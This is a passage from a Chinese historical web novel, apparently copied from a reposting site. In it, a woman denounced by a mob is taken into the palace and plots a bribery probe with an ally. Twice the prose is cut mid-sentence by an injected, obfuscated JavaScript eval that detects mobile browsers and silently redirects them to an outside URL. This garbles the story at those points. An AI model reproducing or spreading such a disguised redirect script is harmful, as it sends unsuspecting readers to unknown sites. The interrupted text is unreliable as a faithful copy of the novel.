祝常青放下茶碗喊住她：“丹珠？怎么了。” 丹珠回过头来，眼里又是水濛濛一片：“娘子，库房里还有把周员外送来的宝剑。” 祝常青哭笑不得：“我可不敢杀人。” 丹珠含水的眸子里闪出异样的坚毅：“我去。只要砍伤一个，他们就不敢再闹事。” 祝常青全然没料到她会有这样的胆量，一时间不知说什么好，把她拉到身边宽慰：“不用怕，他们进不来。” 像是为了反驳她的话，门外突然传出一声前所未有的震响，几个小厮被冲得外后跌了好几步，门闩摇摇欲坠。 外头的男人们无比兴奋，高喊道：“就差一下！兄弟们快加把劲！” 千钧一发之际，角落里如鬼魅般涌出一批暗卫，个个身着劲装，腰边一把佩剑。 领头扛着木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14757099|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桩的男子尚且来不及看清，心口处便重重挨了一脚，瞬间飞出去老远。 暗卫们拦在祝府门前，一言不发地亮出刀剑，人群霎时吓退三尺。 他们虽人数众多，但木棍铁锹到底比不上削铁如泥的刀剑，更何况此番前来是为了取妖女性命，他们这群英雄，可没人会为了一个女子赔上自己金贵的命。 双方僵持不下，远处却有车轮碾过的声音传来，人群自觉让开一条道。 八名亲卫护送，御前内侍打头，一看便知是宫里派出来的阵仗，没人再敢吱声。 那太监颇为傲慢地扫了一圈众人，从鼻子里尖尖地哼出一声，随后碎步行至祝府门前，暗卫纷纷退开，他在朱门上叩了三叩：“祝娘子，陛下召您入宫，请出吧。” 大门应声而开，祝常青一身素衣，款款走出，出现在众人面前。 她面上波澜不惊，仿佛并没有将方才的闹剧放在眼里，只朝面前的内侍一颔首：“余公公。” 余公公闻言立马殷勤地行了礼，将马车的厢帘撩开，请她上座。 祝常青顺势抬眼，目光很快地略过周围的人群。 乌泱泱的一片里，强壮或瘦弱，高大或矮小，脸上的神情无一不是凶神恶煞，他们的眼神如一根根长钉，恨不得钉在她的身体里，杀她个千疮百孔。 密不透风的人墙里，所有人都想让她死。 “这是妖女！祸害！不能让她进宫继续蛊惑陛下！”有人隐匿在人群里，喊了一声。 众人的情绪立马被调动起来，挥舞着手里的武器对祝常青喊打喊杀。 “谁敢阻拦便是抗旨！格杀勿论！”余公公凌厉地扫回去一眼，尖声道。 侍卫们跟着拔了剑，喧闹才堪堪压下去，但他们的眼神里都仿佛燃了火、淬着毒。 祝常青突然感到一阵恶心，头晕目眩地喘不过气，她立马错开眼，强迫自己不要去回想，行动有几分僵硬。 余公公在马车边伸手让她搭着，趁她上车的间隙里轻声道：“世子殿下听闻钦天监那帮狗奴才的话，马不停蹄地从刑部赶到宫里，求陛下将您接进宫呢。” 祝常青只抿了抿唇，神色淡漠，一言不发地进了马车。 马蹄声缓缓响起，她倒了杯冷茶想让自己好受些，方饮尽，却又听外头响起了咒骂声。 她十分谨慎地掀开侧帘的一个小角，从窗里望出去。 夹道的众人里几乎都是男子，嘴里骂骂咧咧地说着难听的话，无外乎“招蜂引蝶”、“不守妇道”、“祸国殃民”之类，更有甚者直接往马车上扔来菜叶石块。 她发现那几个护送她的侍卫站得很远，对那些男子的行为也有几分纵容的意味，兴许他们也觉得自己罪该万死吧。 女人们呢。祝常青想，她们是不被允许抛头露面才不出现的吗，亦或者其实她们认为，上朝廷逛青楼而已，有什么了不起。 男人做的事情怎么放到女人身上就是不守礼法、罪该万死了？ 多荒唐，明明把持朝政的都是他们男人，到头来家国不幸又全成了一个女人的过错。 祝常青放下帘子，所有的争论便被隔绝在外了。 悠悠闭上眼，忽而又觉得这些含糊不清的咒骂声十分悦耳起来。 她这时候明白，人有多轻易就会被权力说服。 侍卫不情不愿，百姓满心怨恨，她却仍能安然无恙地坐在马车里。 在此刻，对于祝常青来说，所谓权利，就是当全天下人围剿你时，这辆还能畅通无阻的马车。 24. 二四章 到了皇宫，由余公公亲自领路，带着祝常青进了一座偏殿。 说是怕她惊吓过度，让她在这儿先好好休息。 讲得倒是好听，祝常青朝紧闭的殿门望出去，殿外还站着两个守门的侍卫，丝毫不敢放松的样子—— 这不就是变着花样地把她软禁了吗？ 算了，总比在大街上吃棍子的好。 想到这儿，脑海里又不由自主地回放起了祝府门前的画面。 那一双双恨她入骨的眼睛，死死地、死死地盯着她！ 祝常青手扶在桌案边缘，猛地俯下身，无法遏制地干呕一声。 她强忍腹里的翻江倒海，摸索着给自己倒一杯水，试图压下这种异样。 刚咽下清水，胸前好不容易舒畅些，紧接着又是一阵恶心，只能一杯接着一杯地往下灌。 几乎快把一整壶的白水都喝净了。 她刚想叫人再添壶茶水，门外就响起一阵急促的脚步声，侍卫们看见来人二话不说便让开道。 沉重的殿门“吱呀”一声被拉开，祝常青半趴在桌案上，抬起头，被光亮晃得眯了眯眼，总算看清李凭栏的脸。 他兴许来得太匆忙，还在微微喘气，神情焦急，乍然看见她颇为狼狈的模样，十分惊讶地走近：“怎么了？” 祝常青却不打算与他在这种无关紧要的小事上费口舌，抬手飞速扫掉眼里的一点湿润，坐直身子，开门见山：“你去告诉张立瑞，让他以受贿的罪名查办杜宸安。” 李凭栏方要开口的话硬生生梗住，在祝常青面前站定，仔细打量她脸上的神情，几分不悦道：“你做事好像从不与我互通有无。” 祝常青恨不得翻个白眼给他，然后再问问：你坑我之前可有给我打过报告？ 无奈自己眼下应当没法自由行动，只能把希望寄托在他身上，嘀咕了一声：“又不会害你。” 随后老老实实解释起来：“赈灾银的事儿拖不得，我想国库亏空总有那些贪官的一份功劳，不如趁这个机会让他们把钱财重新吐出来。” “杜宸安被都察院带走后会把那帮蠹虫咬出来，究竟贪与没贪，把他们家底抄个底朝天便可知，届时窟窿补了，冯党抓了，还能平息不少民怨。” 她以为自己这想法一箭三雕，除了要暂时拖累杜府的名声，其他的都无大碍。 却发觉李凭栏看向自己的眼神里带着点儿欲言又止的意味。 “还有哪不好？” 她皱起眉，想了想，接着补充：“杜宸安也没有受贿，顶多是些推不掉的礼，等到尘埃落定、真相大白以后，再小惩大诫一番，杜府不会太受牵连。” “没有不好。”杜宸安怕自己若还不表态，她会把这计划从头到尾再同他解释一番，只定定地看着她，表情复杂到难以言喻，担忧愧疚疑虑混杂着，轻声问：“你真的想好了？” 祝常青不明所以：“你若有更好的计策也可直言。” 两人说得不是同一回事，李凭栏不得不把话讲得明白些：“用了这样的手段，会被扣上奸臣的帽子。” 祝常青愣了几息，然后难以置信地挑动眉毛，她实在想不通，他怎么会在这样的事情上计较。 “难道只有佞臣才能用奸计？”她道，“若忠臣奸不过小人，朝堂岂不遭了殃。” 她语气太过轻松，脸上还挂着若有似无的笑意。 李凭栏心想：也对，奸佞或是贤士，于祝常青而言，不过一个转瞬即逝、无需放在心上的名号而已。 “我知道了。”他点头，环视一圈偏殿里的陈设，似乎并不觉得这地方是个好居所。 低头将系在腰带上的玉佩扯下，摆在一旁的桌案上：“过会儿叫人带你换个地方，若想出去就拿着我的玉佩，钦天监那帮老不死的刚受了罚，最好别去触霉头。” 他一来要去办祝常青嘱咐的事，二来还得回刑部当值，总之这个时辰不宜在宫里待太久。 祝常青目光虚浮地落在那枚莹润玲珑的玉佩上，不过出神半刻，脑中就已不受控地乱麻一片。 什么贤臣，什么祸害，什么钦天监。 扭曲地织成一整张大网，将她密不透风地笼住。 李凭栏刚转身，她就猛然从椅子上惊起，逃窜到角落里，撕心裂肺地呕起来。 兴许是白日没怎么吃下东西的缘故，她此刻只能吐出点淅淅沥沥的清水，脸上涕泪横流。 李凭栏被这动静吓到，急忙跟过来，一时间手足无措，等她差不多平复，才敢将自己贴身的手帕递过去。 “我来之前也是这样？”他问。 祝常青接过手帕，在脸上狠狠抹了一把。 这种狼狈的时候，身边有人陪着，反倒叫人软弱委屈。 她喉头哽咽，努力吞咽了一下，咬着牙蓦地转头盯住李凭栏。 殿内门窗紧闭，光线昏暗，以至于她眼底的一层薄泪难以被人察觉，她如同破罐破摔般咬牙切齿道：“李凭栏，外头那帮人要杀我！你管还是不管？” 谁也没见过她这副模样。 李凭栏在原地怔了怔，反应过来后情不自禁地紧锁眉心。 石头。 他不由又想起当初自己是这么形容她的，如今看来似乎也没什么不对。 在这珠玉遍地的京城，一颗顽石显得弥足珍贵。 他扶住祝常青的双臂，把人搀起来，无奈地摇了摇头，意气扬扬道：“杀你？先进了皇宫再说。” 眼下这局面，李凭栏又不放心离开了，先把人重新带去桌边坐下，传唤了太医，等亲眼看她服下一剂安神的药才垂首轻声询问：“我得走了，你先在这儿睡一会？” 祝常青此刻冷静下来，多少觉得有些难堪，默默地扭开脸，小幅度地点了点头，疲惫到不愿与人交谈的模样。 李凭栏察觉她的情绪，屏退了殿内的所有人，跟着转身大步离开，给她留下独处的空间。 殿门彻底合上，祝常青脱力地走至榻边，和衣而卧，动作缓慢地将自己蜷成一团。 她努力把注意力放在绵延起伏的呼吸上，好不至于被那些可怖的画面再次占据大脑。 “这里是皇宫。”她对自己说，“我不会死。” - 事及民生，万不敢耽搁。 翌日刚下朝，李凭栏就把杜宸安暂且革职查办的消息带了回来。 彼时祝常青刚喝完药，坐在窗边，百无聊赖地翻看一本道德经——是孙添舒派人给她送进宫来的。 她已换了座宫殿居住，比先前那地方亮堂不少，宫里的人对她有好奇，却不敢苛待，吃穿不愁。 李凭栏毫不见外地坐到桌对面，浑不吝地说着朝堂中事：“杜尚书他老人家下朝时脸快黑成碳了，眼刀险些没给我剜出血来。” 祝常青被逗乐一声，回他：“我替你挡的刀还少吗，合该叫你尝尝被人恨的滋味。” 他故意这么不着调地说话，她也就顺着聊，毕竟两人心里都跟明镜似的，在这种天灾人祸的关头被查出贪污，杜府会是什么样的后果。 加之杜宸安与祝常青交往甚密在民间也并非秘密，这一遭只怕是场大劫。 想到这儿，祝常青不由问：“我府上的人可都还好？” “派去的人都守着，不会出事。”说着李凭栏又从怀里摸出一封信，递到她面前，“昨夜丹珠让人送来的。” 瞧见信封上吴双两个歪七扭八的大字，祝常青心头一颤，忙打开来。 她一面看，李凭栏一面在耳边道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786163|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抗倭的捷报今早刚传出，他们应当早已回程了。邹将军在最后的清剿时不慎被倭寇暗算，落马而亡，如今只剩吴所镇抚率军凯旋。” 祝常青捏着单薄信纸的手止不住地发颤。 吴双识字很少，胸无点墨，却在信上用最简单的语句，事无巨细地与祝常青说着军中详情，其中多处笔迹不一，想来是实在不会写那些字，不得不请人代笔。 总共写了满满当当的三张信纸，祝常青却嫌看不够般，反复来回地翻阅。 “等吴双回京，杜宸安的事情了结，这次风波就算过去了。”李凭栏道，“我马上出宫，可有什么话要我代为传达？” 祝常青闻言将手头的信放下，用笔山轻轻压住，沉思片刻点头应答：“有。” 她抽出两张信纸，提笔飞速地写着什么，一气呵成后又各自封好，交到李凭栏手里：“再替我与杜宸安说一句，叫他不要留情，这次，一网打尽。” 李凭栏冲她晃了晃手里的两封信：“那这些呢，是给谁的？” 祝常青指着其中一封信上的圆圈记号，似在告诉他如何区分：“这封给孙四娘子，另一封放到离京城最近的驿站，等吴双领军路过再交给他。” 李凭栏：“写了什么，我能看吗？” 祝常青淡淡移开眼，重新翻起手边的道德经：“孙四娘子好心给我送来古籍，不知如何回礼，摘抄了一句送予她，书上说，道生一，一生二。” 李凭栏知道她在打哑谜，没有深究：“祝娘子好悟性。” “随便看看罢了。” “那给吴所镇抚的这封呢？” 祝常青的视线从他仿佛要拆信的动作上一扫而过，无动于衷道：“家书而已，只盼着等义兄到了那处驿站也能回信给我，好让我知道他不日就回。” 话里究竟真假几分难以辨别，但李凭栏最终还是没有把封好的信重新拆散。 叮嘱她几句在宫里行走的忌讳，便带着两封信先行离开了。 - 祝常青手上虽有李凭栏给的玉佩可充当通行证，但她没什么兴致逛皇宫。 整天窝在一隅偏殿，日子过得属实乏善可陈，每天的乐趣也只有等李凭栏下朝后同她讲讲朝堂上的事。 杜宸安所牵扯出的贪污案已经查了三日，期间不少官员大臣都遭了殃，迄今总计抄出白银十万余两。 这钱刚从官府转移至国库，还没来得及捂热，就又下放给嗷嗷待哺的巡抚们，叫他们带着各自买粮赈灾去了。 至于作为鱼饵的杜家，具体涉案金额迟迟没有公之于众，百姓们不免猜测：小杜大人一连拉出那么多垫背的，只怕自己贪了有黄金百万！ 杜府多日大门紧闭，外头总有人聚众闹事，连李凭栏都有些看不下去地问过她，何时还杜宸安清白。 祝常青只沉声道，还需再等等。 “钦天监的监正今早被处死了，两个监副也各自受了罚。”李凭栏语气平平道。 祝常青的道德经只剩最后几章了，估摸着今日就能看完，随口问：“是冯党的人？” 李凭栏点头称是，又递出一封信：“驿站送回来的，你义兄的信。” 祝常青快速阅览文字的目光抖了一下，讷讷地转过头，从他手里接过信，压在书籍下头。 “不打开看看吗？”李凭栏问。 “应该是告诉我他何日进京的。”祝常青说着又翻过一页书，“马上就读完了，不想分心。” 李凭栏没说什么，静静地坐完两盏茶功夫，又马不停蹄地回刑部上值去了。 等整个大殿连他渐行渐远的脚步声都听不见时，祝常青动作略显急切地合上书，抽了好几下才堪堪拿出信，一打开—— 果见上头一片空白。